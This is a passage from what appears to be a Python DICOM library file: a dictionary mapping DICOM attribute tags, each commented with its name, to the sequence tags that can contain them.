0x00720717L: [0x00720200L],
# DisplaySetVerticalJustification
0x00720718L: [0x00720200L],
# Spoiling
0x00189016L: [0x00189115L],
# RecordedChannelSequence
0x30080130L: [0x30080110L],
# DecimateCropResult
0x202000A2L: [0x2000001EL],
# DeliveryMaximumDose
0x300A0023L: [0x300A0010L, 0x300C0050L],
# TableTraverse
0x00181131L: [0x00540052L],
# OpticalTransmittance
0x00460040L: [0x00460014L, 0x00460015L, 0x00460016L],
# XOffsetInSlideCoordinateSystem
0x0040072AL: [0x00480008L, 0x0048021AL, 0x0040071AL],
# EventTimerNames
0x00082132L: [0x00082133L],
# ContentSequence
0x0040A730L: [0x0040A730L],
# SourceOfAnteriorChamberDepthDataCodeSequence
0x00221133L: [0x00221128L],
# EventTimeOffset
0x00082134L: [0x00082133L],
# YOffsetInSlideCoordinateSystem
0x0040073AL: [0x00480008L, 0x0048021AL, 0x0040071AL],
# VisualAcuityModifiers
0x00460135L: [0x00460122L, 0x00460123L, 0x00460124L, 0x00240110L],
# ReferencedFrameNumbers
0x0040A136L: [0x00400555L],
# ZOffsetInSlideCoordinateSystem
0x0040074AL: [0x0048021AL, 0x0040071AL, 0x00480200L],
# PupilDilated
0x0022000DL: [0x00240114L, 0x00240115L],
# SpecifiedPulseRepetitionInterval
0x3008013AL: [0x30080130L],
# ClinicalTrialProtocolID
0x00120020L: [0x00380502L, 0x00120083L],
# ZoomCenter
0x00280032L: [0x00540022L],
# TagAngleFirstAxis
0x00189019L: [0x00189006L],
# PhysicalUnitsYDirection
0x00186026L: [0x00186011L],
# TableTopPitchAngle
0x300A0140L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x30020030L, 0x0074104CL],
# ControlPointDeliverySequence
0x30080040L: [0x30080020L],
# ReferencedSourceApplicatorNumber
0x30080142L: [0x30080140L],
# RecommendedDisplayFrameRate
0x00082144L: [0x00720300L],
# SpherePower
0x00460146L: [0x00460050L, 0x00460052L, 0x00460097L, 0x00460098L, 0x00460014L, 0x00460015L, 0x00460016L],
# IonControlPointDeliverySequence
0x30080041L: [0x30080021L],
# PerformedStationGeographicLocationCodeSequence
0x00404030L: [0x00741216L],
# DiffusionAnisotropyType
0x00189147L: [0x00189117L],
# ReferencePixelPhysicalValueX
0x00186028L: [0x00186011L],
# ReferencedRealWorldValueMappingInstanceSequence
0x0008114BL: [0x0040A730L],
# SpecifiedMeterset
0x30080042L: [0x30080040L, 0x30080041L],
# StartCumulativeMetersetWeight
0x300C0008L: [0x300C0042L, 0x300A00CAL, 0x00741030L],
# HPGLPenNumber
0x00686330L: [0x00686320L],
# AnchorPoint
0x00700014L: [0x00700008L],
# ChannelDescriptionCodeSequence
0x0022001AL: [0x00480105L],
# RecordedChannelShieldSequence
0x30080150L: [0x30080130L],
# XRayTubeCurrentInuA
0x00188151L: [0x0040030EL],
# ROIName
0x30060026L: [0x30060020L],
# ConfigurationInformationDescription
0x20100152L: [0x2000001EL],
# ExposureTime
0x00181150L: [0x0040030EL, 0x30020030L],
# ReferencePixelPhysicalValueY
0x0018602AL: [0x00186011L],
# FiducialIdentifier
0x00700310L: [0x0070031EL],
# ReferencePixelX0
0x00186020L: [0x00186011L],
# SignalToNoiseRatio
0x00221155L: [0x00221225L],
# DeliveredMeterset
0x30080044L: [0x30080040L, 0x30080041L],
# OutputInformationSequence
0x00404033L: [0x00741216L],
# RelatedReferenceRTImageSequence
0x00741040L: [0x00741030L],
# SpectroscopyAcquisitionOutOfPlanePhaseSteps
0x00189159L: [0x00189103L],
# FacetSequence
0x00660034L: [0x00660013L],
# SOPClassesSupported
0x0008115AL: [0x2000001EL],
# MetersetRateSet
0x30080045L: [0x30080041L, 0x0074104EL],
# ContrastBolusVolume
0x00181041L: [0x00180012L, 0x00189340L],
# PhysicalDeltaX
0x0018602CL: [0x00186011L],
# NumberOfWaveformChannels
0x003A0005L: [0x54000100L],
# MetersetRateDelivered
0x30080046L: [0x30080041L],
# ActualHumanPerformersSequence
0x00404035L: [0x00741216L],
# FilterType
0x00181160L: [0x00189507L, 0x00189325L, 0x0040030EL, 0x00189360L],
# ContrastBolusStartTime
0x00181042L: [0x00189340L],
# IlluminatorTypeCodeSequence
0x00480100L: [0x00480105L],
# ChannelWidth
0x00460042L: [0x00460014L, 0x00460015L, 0x00460016L],
# DimensionOrganizationUID
0x00209164L: [0x00209221L, 0x00209222L],
# SetupImageComment
0x300A0402L: [0x300A0401L],
# MultiFrameSourceSOPInstanceUID
0x00081167L: [0x00081164L],
# AnchorPointVisibility
0x00700015L: [0x00700008L],
# NumberOfWaveformSamples
0x003A0010L: [0x54000100L],
# ConceptCodeSequence
0x0040A168L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x0040B020L, 0x00400555L, 0x00741212L],
# DoseRateDelivered
0x30080048L: [0x30080040L],
# WaveformPaddingValue
0x5400100AL: [0x54000100L],
# BloodSignalNulling
0x00189022L: [0x00189006L],
# ReferencedSOPInstanceUID
0x00081155L: [0x00081199L, 0x00081198L, 0x00081110L, 0x00404016L, 0x30060016L, 0x00780026L, 0x0078002AL, 0x00081140L, 0x00700314L, 0x00380100L, 0x0008114AL, 0x00081120L, 0x300C0042L, 0x300C0080L, 0x00081111L, 0x00089121L, 0x00081125L, 0x00380004L, 0x00220021L, 0x00220022L, 0x00089410L, 0x20000500L, 0x300C0002L, 0x30080030L, 0x00082112L, 0x300C0040L, 0x0008114BL, 0x00686222L, 0x00686225L, 0x00686224L, 0x00760008L, 0x0076000CL, 0x0076000EL, 0x00760040L, 0x00720012L, 0x00221330L, 0x00741040L, 0x00720705L, 0x20100500L, 0x20100510L, 0x20100520L, 0x20500500L, 0x00404015L, 0x00400220L, 0x0066002EL, 0x300C0060L, 0x00741224L, 0x00460145L, 0x00220031L, 0x0040A390L, 0x00420013L, 0x00480200L, 0x30060012L, 0x003A020AL, 0x300A0401L],
# TableFeedPerRotation
0x00189310L: [0x00189308L],
# DeviceDiameterUnits
0x00500017L: [0x00500010L],
# NumberOfFilms
0x21000170L: [0x00400321L],
# TransducerFrequency
0x00186030L: [0x00186011L],
# TemporalRangeType
0x0040A130L: [0x0040A730L, 0x0040B020L],
# ContrastFlowRate
0x00181046L: [0x00189340L],
# TimeBasedImageSetsSequence
0x00720030L: [0x00720020L],
# PatientNotProperlyFixatedQuantity
0x00240036L: [0x00240032L],
# PulseRepetitionFrequency
0x00186032L: [0x00186011L],
# RetrieveURI
0x0040E010L: [0x0040E023L, 0x00380100L, 0x00081199L, 0x0040A390L],
# MeasurementUnitsCodeSequence
0x004008EAL: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00221262L, 0x00440019L, 0x00409096L, 0x00400612L, 0x00400620L, 0x0040A300L, 0x0040B020L, 0x00400555L, 0x00741212L],
# ReferencedSamplePositions
0x0040A132L: [0x0040A730L, 0x0040B020L],
# SpectrallySelectedExcitation
0x00189026L: [0x00189115L],
# CollimatorGridName
0x00181180L: [0x00540022L],
# RetrieveLocationUID
0x0040E011L: [0x00081199L],
# CollimatorType
0x00181181L: [0x00540022L],
# HistogramExplanation
0x00603010L: [0x00603000L],
# FocalDistance
0x00181182L: [0x00540022L],
# XFocusCenter
0x00181183L: [0x00540022L],
# ROIDescription
0x30060028L: [0x30060020L],
# YFocusCenter
0x00181184L: [0x00540022L],
# DopplerCorrectionAngle
0x00186034L: [0x00186011L],
# FieldOfViewOrigin
0x00187030L: [0x00189507L, 0x00189432L],
# Tagging
0x00189028L: [0x00189006L],
# MultiplexGroupLabel
0x003A0020L: [0x54000100L],
# AnnotationGroupNumber
0x0040A180L: [0x0040B020L],
# SteeringAngle
0x00186036L: [0x00186011L],
# SliceThickness
0x00180050L: [0x00289110L],
# MaskOperationExplanation
0x00286190L: [0x00286100L],
# FieldOfViewRotation
0x00187032L: [0x00189507L, 0x00189432L],
# ReferencedDoseReferenceSequence
0x300C0050L: [0x300A03A8L, 0x300A0111L, 0x300A0070L],
# ConventionalControlPointVerificationSequence
0x0074104CL: [0x00741044L],
# MACCalculationTransferSyntaxUID
0x04000010L: [0x4FFE0001L, 0x04000403L],
# ExcessiveFalseNegativesDataFlag
0x00240051L: [0x00240034L],
# PaletteColorLookupTableUID
0x00281199L: [0x00480120L],
# VerifyingOrganization
0x0040A027L: [0x0040A073L],
# ReferencedTimeOffsets
0x0040A138L: [0x0040A730L, 0x0040B020L],
# FrameOfReferenceUID
0x00200052L: [0x00700308L, 0x0070031CL, 0x30060010L],
# FilmOrientation
0x20100040L: [0x200000A8L],
# DisplayedAreaBottomRightHandCorner
0x00700053L: [0x0070005AL],
# WaveformBitsAllocated
0x54001004L: [0x54000100L],
# DeviceUID
0x00181002L: [0x0040A078L, 0x0040A07AL],
# SpecimenShortDescription
0x00400600L: [0x00400560L],
# RefractiveParametersUsedOnPatientSequence
0x00240112L: [0x00240114L, 0x00240115L],
# ReferencedDateTime
0x0040A13AL: [0x0040A730L, 0x0040B020L],
# DVHVolumeUnits
0x30040054L: [0x30040050L],
# WindowCenter
0x00281050L: [0x00283110L, 0x00289132L, 0x00281401L],
# BrachyReferencedDoseReferenceSequence
0x300C0055L: [0x300A02D0L],
# MotionSynchronizationSequence
0x300A0410L: [0x300A0180L],
# TargetUnderdoseVolumeFraction
0x300A0028L: [0x300A0010L, 0x300C0050L],
# InstanceAvailability
0x00080056L: [0x00081199L],
# ImageBoxesSequence
0x00720300L: [0x00720200L],
# PerformingPhysicianIdentificationSequence
0x00081052L: [0x00400340L],
# TagSpacingFirstDimension
0x00189030L: [0x00189006L],
# SetupTechniqueDescription
0x300A01B2L: [0x300A0180L],
# SetupDeviceSequence
0x300A01B4L: [0x300A0180L],
# StereoBaselineAngle
0x00220010L: [0x00220020L],
# PhysicalUnitsXDirection
0x00186024L: [0x00186011L],
# DVHData
0x30040058L: [0x30040050L],
# ImageBoxNumber
0x00720302L: [0x00720300L],
# SetupDeviceDescription
0x300A01BAL: [0x300A01B4L],
# RescaleType
0x00281054L: [0x00289145L, 0x00700402L],
# SegmentedPropertyCategoryCodeSequence
0x00620003L: [0x00620002L],
# DeviceID
0x00181003L: [0x00500010L],
# IlluminationWaveLength
0x00220055L: [0x00480105L],
# RefractiveStateSequence
0x0022001BL: [0x00221300L, 0x00221310L],
# EstimatedRadiographicMagnificationFactor
0x00181114L: [0x00189507L],
# NominalRespiratoryTriggerDelayTime
0x00209255L: [0x00209253L],
# EncapsulatedDocument
0x00420011L: [0x00686265L, 0x00686260L],
# VOILUTFunction
0x00281056L: [0x00283110L, 0x00289132L, 0x00281401L],
# VerificationDateTime
0x0040A030L: [0x0040A073L],
# CornealSize
0x00460046L: [0x00460050L, 0x00460052L, 0x00221300L, 0x00221310L],
# TagThickness
0x00189035L: [0x00189006L],
# DimensionDescriptionLabel
0x00209421L: [0x00209222L],
# TypeOfInstances
0x0040E020L: [0x00404021L, 0x00404033L],
# ActualRespiratoryTriggerDelayTime
0x00209257L: [0x00209253L],
# PartialFourierDirection
0x00189036L: [0x00189115L],
# ObservationDateTime
0x0040A032L: [0x0040A730L],
# SegmentNumber
0x00620004L: [0x00620002L],
# PixelComponentOrganization
0x00186044L: [0x00186011L],
# DICOMMediaRetrievalSequence
0x0040E022L: [0x00404021L, 0x00404033L],
# GridAbsorbingMaterial
0x00187040L: [0x00189507L],
# ScanMode
0x300A0308L: [0x300A03A2L, 0x30080021L, 0x00741046L],
# BlockNumberOfPoints
0x300A0104L: [0x300A03A6L, 0x300A00F4L],
# WADORetrievalSequence
0x0040E023L: [0x00404021L, 0x00404033L],
# PrinterResolutionID
0x20100052L: [0x200000A8L],
# PixelComponentMask
0x00186046L: [0x00186011L],
# XDSRetrievalSequence
0x0040E024L: [0x00404021L, 0x00404033L],
# KVP
0x00180060L: [0x00189507L, 0x00189538L, 0x300A03A8L, 0x00189325L, 0x0040030EL, 0x00189360L, 0x30080041L, 0x30020030L, 0x00189417L],
# VirtualSourceAxisDistances
0x300A030AL: [0x300A03A2L],
# ParameterSequencePointer
0x30080061L: [0x30080068L, 0x30080060L],
# PerformedProcedureStepStartDateTime
0x00404050L: [0x00741216L],
# ROIVolume
0x3006002CL: [0x30060020L],
# PixelComponentRangeStart
0x00186048L: [0x00186011L],
# GridPitch
0x00187044L: [0x00189507L],
# GraphicLayerOrder
0x00700062L: [0x00700060L],
# PerformedProcedureStepEndDateTime
0x00404051L: [0x00741216L],
# DataInformationSequence
0x00540063L: [0x00540062L],
# ProcedureStepCancellationDateTime
0x00404052L: [0x00741002L],
# DoseValue
0x30040012L: [0x30040010L],
# MeasuredDoseReferenceNumber
0x30080064L: [0x30080010L],
# TriggerTime
0x00181060L: [0x00540062L],
# OpticalPathIdentifier
0x00480106L: [0x00480105L, 0x00480200L, 0x00480207L],
# ReferencedSetupImageSequence
0x300A0401L: [0x300A0180L],
# DeliveredSecondaryMeterset
0x30080037L: [0x30080020L, 0x30080021L],
# GraphicLayerRecommendedDisplayGrayscaleValue
0x00700066L: [0x00700060L],
# StartAngle
0x00540200L: [0x00540022L, 0x00540052L],
# WaveformData
0x54001010L: [0x54000100L],
# NominalInterval
0x00181062L: [0x00540063L],
# TimeOfLastCalibration
0x00181201L: [0x0018A001L],
# DisplaySetNumber
0x00720202L: [0x00720200L],
# FrameReferenceDateTime
0x00189151L: [0x00209111L],
# ChannelLabel
0x003A0203L: [0x003A0200L],
# ChannelDefinitionSequence
0x003A0200L: [0x54000100L],
# AlphaPaletteColorLookupTableData
0x00281204L: [0x0028140BL],
# ChannelStatus
0x003A0205L: [0x003A0200L],
# ChannelMaximumValue
0x54000112L: [0x003A0200L],
# ReceiveCoilManufacturerName
0x00189041L: [0x00189042L],
# PixelComponentDataType
0x0018604EL: [0x00186011L],
# ChannelSourceSequence
0x003A0208L: [0x003A0300L, 0x003A0200L],
# DisplayedAreaTopLeftHandCorner
0x00700052L: [0x0070005AL],
# ChannelSourceModifiersSequence
0x003A0209L: [0x003A0200L],
# CorrectedParameterSequence
0x30080068L: [0x30080040L, 0x30080041L],
# PhysicalDeltaY
0x0018602EL: [0x00186011L],
# WaveformChannelNumber
0x003A0202L: [0x003A0200L],
# TriggerVector
0x00540210L: [0x00540032L],
# ReceiveCoilType
0x00189043L: [0x00189042L],
# NumberOfTriggersInPhase
0x00540211L: [0x00540032L],
# NumberOfTableBreakPoints
0x00186050L: [0x00186011L],
# MACAlgorithm
0x04000015L: [0x4FFE0001L, 0x04000403L],
# ChannelTimeSkew
0x003A0214L: [0x003A0200L],
# QuadratureReceiveCoil
0x00189044L: [0x00189042L],
# NavigationDisplaySet
0x00720216L: [0x00720214L],
# ParallelReductionFactorOutOfPlane
0x00189155L: [0x00189115L],
# ValueType
0x0040A040L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00400555L, 0x00741212L],
# DisplaySetPresentationGroup
0x00720204L: [0x00720200L],
# RightImageSequence
0x00220022L: [0x00220020L],
# ActiveSourceDiameter
0x300A0218L: [0x300A0210L],
# TagAngleSecondAxis
0x00189219L: [0x00189006L],
# WaveformBitsStored
0x003A021AL: [0x003A0200L],
# TableOfXBreakPoints
0x00186052L: [0x00186011L],
# GeneralizedDefectCorrectedSensitivityDeviationFlag
0x00240102L: [0x00240097L],
# FlatKeratometricAxisSequence
0x00460080L: [0x00460070L, 0x00221300L, 0x00221310L],
# MultiCoilConfiguration
0x00189046L: [0x00189042L],
# ReferencedNonImageCompositeSOPInstanceSequence
0x00400220L: [0x00400340L],
# ViewModifierCodeSequence
0x00540222L: [0x00540220L],
# NotchFilterBandwidth
0x003A0223L: [0x003A0200L],
# SourceEncapsulationNominalTransmission
0x300A0224L: [0x300A0210L],
# LocalNamespaceEntityID
0x00400031L: [0x00080051L, 0x00400026L, 0x00400027L, 0x00380014L, 0x00380064L, 0x00400036L, 0x00400513L, 0x00400562L],
# RealWorldValueSlope
0x00409225L: [0x00409096L],
# TableOfYBreakPoints
0x00186054L: [0x00186011L],
# SourceToBlockTrayDistance
0x300A00F6L: [0x300A00F4L],
# SegmentedGreenPaletteColorLookupTableData
0x00281222L: [0x00480120L],
# CompoundGraphicInstanceID
0x00700226L: [0x00700008L, 0x00700009L, 0x00700209L],
# FilterMaterial
0x00187050L: [0x00189507L, 0x00189325L, 0x0040030EL, 0x00189360L],
# PrimaryAnatomicStructureSequence
0x00082228L: [0x00209071L, 0x00189260L, 0x00620002L, 0x00400560L],
# CSSFontName
0x00700229L: [0x00700231L],
# MultiCoilElementUsed
0x00189048L: [0x00189045L],
# MinDensity
0x20100120L: [0x200000A2L, 0x200000A4L],
# NumberOfTableEntries
0x00186056L: [0x00186011L],
# PrimaryAnatomicStructureModifierSequence
0x00082230L: [0x00082228L],
# FilterThicknessMinimum
0x00187052L: [0x00189507L],
# MRAcquisitionPhaseEncodingStepsInPlane
0x00189231L: [0x00189125L],
# DVHMinimumDose
0x30040070L: [0x30040050L],
# LineStyleSequence
0x00700232L: [0x00700009L, 0x00700209L],
# ReferencedMeasuredDoseReferenceSequence
0x30080080L: [0x30080020L, 0x30080021L, 0x30080110L, 0x30080130L],
# ExclusiveComponentType
0x00760036L: [0x00760032L],
# FunctionalGroupPrivateCreator
0x00209238L: [0x00720022L, 0x00720400L, 0x00720600L, 0x00209222L],
# DVHMaximumDose
0x30040072L: [0x30040050L],
# ModalityLUTType
0x00283004L: [0x00283000L],
# CompoundGraphicType
0x00700294L: [0x00700209L],
# ImageDisplayFormat
0x20100010L: [0x200000A8L],
# FractionStatusSummarySequence
0x30080240L: [0x30080220L],
# TimeSlotTime
0x00540073L: [0x00540072L],
# GradientEchoTrainLength
0x00189241L: [0x00189112L],
# ChannelDisplaySequence
0x003A0242L: [0x003A0240L],
# GraphicGroupID
0x00700295L: [0x00700234L, 0x00700008L, 0x00700009L, 0x00700209L],
# ShadowStyle
0x00700244L: [0x00700232L, 0x00700231L],
# ChannelPosition
0x003A0245L: [0x003A0242L],
# DVHMeanDose
0x30040074L: [0x30040050L],
# DisplayShadingFlag
0x003A0246L: [0x003A0242L],
# OperatorsName
0x00081070L: [0x00189506L, 0x30080060L, 0x0074104AL, 0x00400340L, 0x0018A001L],
# ShadowColorCIELabValue
0x00700247L: [0x00700232L, 0x00700231L],
# BillingItemSequence
0x00400296L: [0x00400324L],
# Underlined
0x00700248L: [0x00700231L],
# EndingRespiratoryPhase
0x00209249L: [0x00209253L],
# RTRelatedROISequence
0x30060030L: [0x30060080L],
# MeasuredDoseType
0x30080014L: [0x30080010L],
# SamplingFrequency
0x003A001AL: [0x54000100L],
# CalculatedDoseReferenceDoseValue
0x30080076L: [0x30080090L, 0x30080070L],
# TotalReferenceAirKerma
0x300A0250L: [0x300A0230L, 0x30080110L],
# OperatorIdentificationSequence
0x00081072L: [0x00189506L, 0x00400340L, 0x0018A001L],
# TreatmentTime
0x30080251L: [0x30080240L],
# TransmitCoilManufacturerName
0x00189050L: [0x00189049L],
# ASLTechniqueDescription
0x00189252L: [0x00189251L],
# MetersetExposure
0x30020032L: [0x300A00CAL, 0x00741030L, 0x30020030L],
# ChannelSensitivity
0x003A0210L: [0x003A0200L],
# RespiratoryIntervalTime
0x00209254L: [0x00209253L],
# ASLSlabOrientation
0x00189255L: [0x00189260L],
# TransmitCoilType
0x00189051L: [0x00189049L],
# SelectedSegmentalOphthalmicAxialLengthSequence
0x00221257L: [0x00221230L, 0x00221255L],
# BlockThickness
0x300A0100L: [0x300A03A6L, 0x300A00F4L],
# ChannelSensitivityUnitsSequence
0x003A0211L: [0x003A0200L],
# AddIntermediateSequence
0x00460101L: [0x00460097L, 0x00460098L, 0x00460014L, 0x00460015L, 0x00460016L],
# DisplaySetScrollingGroup
0x00720212L: [0x00720210L],
# ReferencedDoseSequence
0x300C0080L: [0x300A03A2L, 0x300A00B0L, 0x300A0111L, 0x300A0070L],
# BrachyAccessoryDeviceSequence
0x300A0260L: [0x300A0230L],
# AddOtherSequence
0x00460102L: [0x00460097L, 0x00460098L],
# DiameterOfVisibility
0x00700262L: [0x00700209L],
# TextValue
0x0040A160L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x00400555L, 0x00741212L],
# ContinuityOfContent
0x0040A050L: [0x0040A730L],
# MandatoryComponentType
0x00760038L: [0x00760032L],
# OphthalmicAxialLengthMeasurementsTotalLengthSequence
0x00221210L: [0x00221050L],
# NumberOfVerticalPixels
0x00720104L: [0x00720102L],
# OphthalmicAxialLengthMeasurementsSegmentalLengthSequence
0x00221211L: [0x00221212L, 0x00221050L],
# StackID
0x00209056L: [0x00209111L],
# OphthalmicAxialLengthMeasurementsLengthSummationSequence
0x00221212L: [0x00221050L],
# TickAlignment
0x00700274L: [0x00700209L],
# ViewingDistance
0x00460106L: [0x00460100L, 0x00460101L, 0x00460102L],
# ExposureControlMode
0x00187060L: [0x00189507L],
# ApplicatorSequence
0x300A0107L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L, 0x30020030L],
# GraphicDimensions
0x00700020L: [0x00700009L, 0x00700209L],
# SurfaceProcessing
0x00660009L: [0x00660002L],
# ReferenceDisplaySets
0x00720218L: [0x00720214L],
# RefractiveErrorBeforeRefractiveSurgeryCodeSequence
0x00221103L: [0x00221300L, 0x00221310L],
# ReferencedSurfaceSequence
0x0066002BL: [0x00620002L],
# ChannelSequence
0x300A0280L: [0x300A0230L],
# MeasuredDoseValue
0x30080016L: [0x30080080L, 0x30080010L],
# InstitutionName
0x00080080L: [0x0040000BL, 0x300A03A2L, 0x300A00B0L, 0x00700086L, 0x00081052L, 0x00081072L, 0x300A0206L, 0x00080096L, 0x00321031L, 0x0040A078L, 0x0040A07AL, 0x0040A07CL, 0x00401011L, 0x00081049L, 0x00081062L, 0x0018A001L],
# CompoundGraphicUnits
0x00700282L: [0x00700209L],
# ChannelLength
0x300A0284L: [0x300A0280L, 0x30080130L],
# DiaphragmPosition
0x30020034L: [0x30020030L],
# ChannelTotalTime
0x300A0286L: [0x300A0280L],
# ContentDescription
0x00700081L: [0x00700087L],
# TickPosition
0x00700288L: [0x00700287L],
# IdentifierTypeCode
0x00400035L: [0x00100024L],
# ReferencedMeasuredDoseReferenceNumber
0x30080082L: [0x30080080L],
# Component1ReferencedID
0x00760070L: [0x00760060L],
# SelectorAttribute
0x00720026L: [0x00741048L, 0x0074104AL, 0x00720022L, 0x00720400L, 0x00720600L],
# RelatedRTROIObservationsSequence
0x300600A0L: [0x30060080L],
# Quantity
0x00400294L: [0x00400293L],
# NumberOfGraphicPoints
0x00700021L: [0x00700009L, 0x00700209L],
# ContrastBolusAgent
0x00180010L: [0x00189507L],
# SourceApplicatorLength
0x300A0296L: [0x300A0280L, 0x30080140L],
# RTROIRelationship
0x30060033L: [0x30060030L],
# MagnetizationTransfer
0x00189020L: [0x00189006L],
# RecommendedDisplayGrayscaleValue
0x0062000CL: [0x00660002L, 0x00620002L],
# CylinderSequence
0x00460018L: [0x00460050L, 0x00460052L, 0x00460097L, 0x00460098L, 0x00460014L, 0x00460015L, 0x00460016L],
# CineRelativeToRealTime
0x00720330L: [0x00720300L],
# HighRRValue
0x00181082L: [0x00189118L, 0x00540063L],
# AssigningFacilitySequence
0x00400036L: [0x00100024L],
# FilterLowFrequency
0x003A0220L: [0x003A0200L],
# LossyImageCompressionRatio
0x00282112L: [0x00189506L],
# NumberOfControlPoints
0x300A0110L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L, 0x300A0280L, 0x30080130L],
# MaskOperation
0x00286101L: [0x00286100L],
# DeviceSerialNumber
0x00181000L: [0x300A03A2L, 0x00189506L, 0x300A00B0L, 0x300A0206L, 0x00500010L, 0x0018A001L],
# RequestedProcedureID
0x00401001L: [0x0040A370L, 0x00400270L, 0x00400275L],
# LUTDescriptor
0x00283002L: [0x00283010L, 0x20500010L, 0x00289422L, 0x00283000L],
# LUTExplanation
0x00283003L: [0x00283010L, 0x20500010L, 0x00409096L, 0x00283000L],
# ProcedureStepProgress
0x00741004L: [0x00741002L],
# DetectorConfiguration
0x00187005L: [0x00189507L],
# LUTData
0x00283006L: [0x00283010L, 0x20500010L, 0x00289422L, 0x00283000L],
# FrameType
0x00089007L: [0x00189504L, 0x00289443L, 0x00189226L, 0x00520025L, 0x00189329L, 0x00189751L, 0x00189227L, 0x00189806L],
# HistogramBinWidth
0x00603008L: [0x00603000L],
# InversionRecovery
0x00189009L: [0x00189115L],
# DetectorID
0x0018700AL: [0x00189507L, 0x00189506L],
# ContactDisplayName
0x0074100CL: [0x00741008L],
# ProcedureStepDiscontinuationReasonCodeSequence
0x0074100EL: [0x00741002L],
# StationName
0x00081010L: [0x00189506L, 0x0040A078L, 0x0040A07AL, 0x0018A001L],
# ExposuresOnDetectorSinceManufactured
0x00187011L: [0x00189507L],
# DetectorTimeSinceLastExposure
0x00187012L: [0x00189507L],
# SourceEncapsulationNominalThickness
0x300A0222L: [0x300A0210L],
# DetectorActiveTime
0x00187014L: [0x00189451L],
# DetectorActivationOffsetFromExposure
0x00187016L: [0x00189451L],
# OphthalmicAxialLength
0x00221019L: [0x00221012L, 0x00221230L, 0x00221257L, 0x00221260L, 0x00221210L, 0x00221212L, 0x00221211L],
# DetectorBinning
0x0018701AL: [0x00189507L],
# DetectorElementPhysicalSize
0x00187020L: [0x00189507L],
# T2Preparation
0x00189021L: [0x00189115L],
# DetectorElementSpacing
0x00187022L: [0x00189507L, 0x00189506L],
# DetectorActiveShape
0x00187024L: [0x00189507L],
# DetectorActiveDimensions
0x00187026L: [0x00189507L],
# SpatialPresaturation
0x00189027L: [0x00189115L],
# DetectorActiveOrigin
0x00187028L: [0x00189507L],
# IOLFormulaDetail
0x00221029L: [0x00221300L, 0x00221310L],
# DetectorManufacturerName
0x0018702AL: [0x00189507L],
# DetectorManufacturerModelName
0x0018702BL: [0x00189507L],
# TableTopPitchAdjustedAngle
0x0074102CL: [0x00741020L],
# TableTopRollAdjustedAngle
0x0074102DL: [0x00741020L],
# DeliveryVerificationImageSequence
0x00741030L: [0x00741020L],
# RequestingPhysicianIdentificationSequence
0x00321031L: [0x0040A370L],
# VerificationImageTiming
0x00741032L: [0x00741030L],
# RequestingService
0x00321033L: [0x0040A370L],
# FieldOfViewHorizontalFlip
0x00187034L: [0x00189507L, 0x00189432L],
# SourceOfOphthalmicAxialLengthCodeSequence
0x00221035L: [0x00221012L],
# PixelDataAreaOriginRelativeToFOV
0x00187036L: [0x00289443L],
# TargetRefraction
0x00221037L: [0x00221300L, 0x00221310L],
# PixelDataAreaRotationAngleRelativeToFOV
0x00187038L: [0x00289443L],
# RefractiveProcedureOccurred
0x00221039L: [0x00221300L, 0x00221310L],
# DoubleExposureFieldDeltaTrial
0x0074103AL: [0x00741030L],
# RecommendedDisplayCIELabValue
0x0062000DL: [0x00660002L, 0x00620002L],
# SeriesDescription
0x0008103EL: [0x00400340L],
# SeriesDescriptionCodeSequence
0x0008103FL: [0x00400340L],
# InstitutionalDepartmentName
0x00081040L: [0x300A03A2L, 0x300A00B0L, 0x300A0206L, 0x0018A001L],
# GridSpacingMaterial
0x00187041L: [0x00189507L],
# GridThickness
0x00187042L: [0x00189507L],
# ContrastBolusStopTime
0x00181043L: [0x00189340L],
# OphthalmicUltrasoundAxialMeasurementsTypeCodeSequence
0x00221044L: [0x00221012L],
# MultiCoilDefinitionSequence
0x00189045L: [0x00189042L],
# GridAspectRatio
0x00187046L: [0x00189507L],
# ContrastFlowDuration
0x00181047L: [0x00189340L],
# GridPeriod
0x00187048L: [0x00189507L],
# ContrastBolusIngredientConcentration
0x00181049L: [0x00180012L],
# GridFocalDistance
0x0018704CL: [0x00189507L],
# DoubleExposureMetersetTrial
0x00741038L: [0x00741030L],
# IonControlPointVerificationSequence
0x0074104EL: [0x00741046L],
# PerformingPhysicianName
0x00081050L: [0x00400340L],
# WindowWidth
0x00281051L: [0x00283110L, 0x00289132L, 0x00281401L],
# RescaleIntercept
0x00281052L: [0x00289145L, 0x00700402L],
# RescaleSlope
0x00281053L: [0x00289145L, 0x00700402L],
# FilterThicknessMaximum
0x00187054L: [0x00189507L],
# WindowCenterWidthExplanation
0x00281055L: [0x00283110L, 0x00289132L, 0x00281401L],
# FilterBeamPathLengthMinimum
0x00187056L: [0x00189507L],
# SelectorSequencePointerItems
0x00741057L: [0x00741048L, 0x0074104AL],
# FilterBeamPathLengthMaximum
0x00187058L: [0x00189507L],
# OphthalmicAxialLengthVelocity
0x00221059L: [0x00221220L],
# RequestedProcedureDescription
0x00321060L: [0x0040A370L, 0x00400270L, 0x00400275L],
# ExposureControlModeDescription
0x00187062L: [0x00189507L],
# FrameTime
0x00181063L: [0x00540063L],
# RequestedProcedureCodeSequence
0x00321064L: [0x0040A370L, 0x00400270L, 0x00400275L],
# NominalBeamEnergy
0x300A0114L: [0x300A03A8L, 0x300A0111L, 0x30080040L, 0x30080041L, 0x0074104EL, 0x0074104CL],
# MultiplexGroupTimeOffset
0x00181068L: [0x54000100L],
# ParallelReductionFactorInPlane
0x00189069L: [0x00189115L],
# TriggerSamplePosition
0x0018106EL: [0x54000100L],
# RadiopharmaceuticalRoute
0x00181070L: [0x00540016L],
# RadiopharmaceuticalVolume
0x00181071L: [0x00540016L],
# FrameLaterality
0x00209072L: [0x00209071L],
# RadiopharmaceuticalStopTime
0x00181073L: [0x00540016L],
# RadionuclideTotalDose
0x00181074L: [0x00540016L],
# RadionuclideHalfLife
0x00181075L: [0x00540016L],
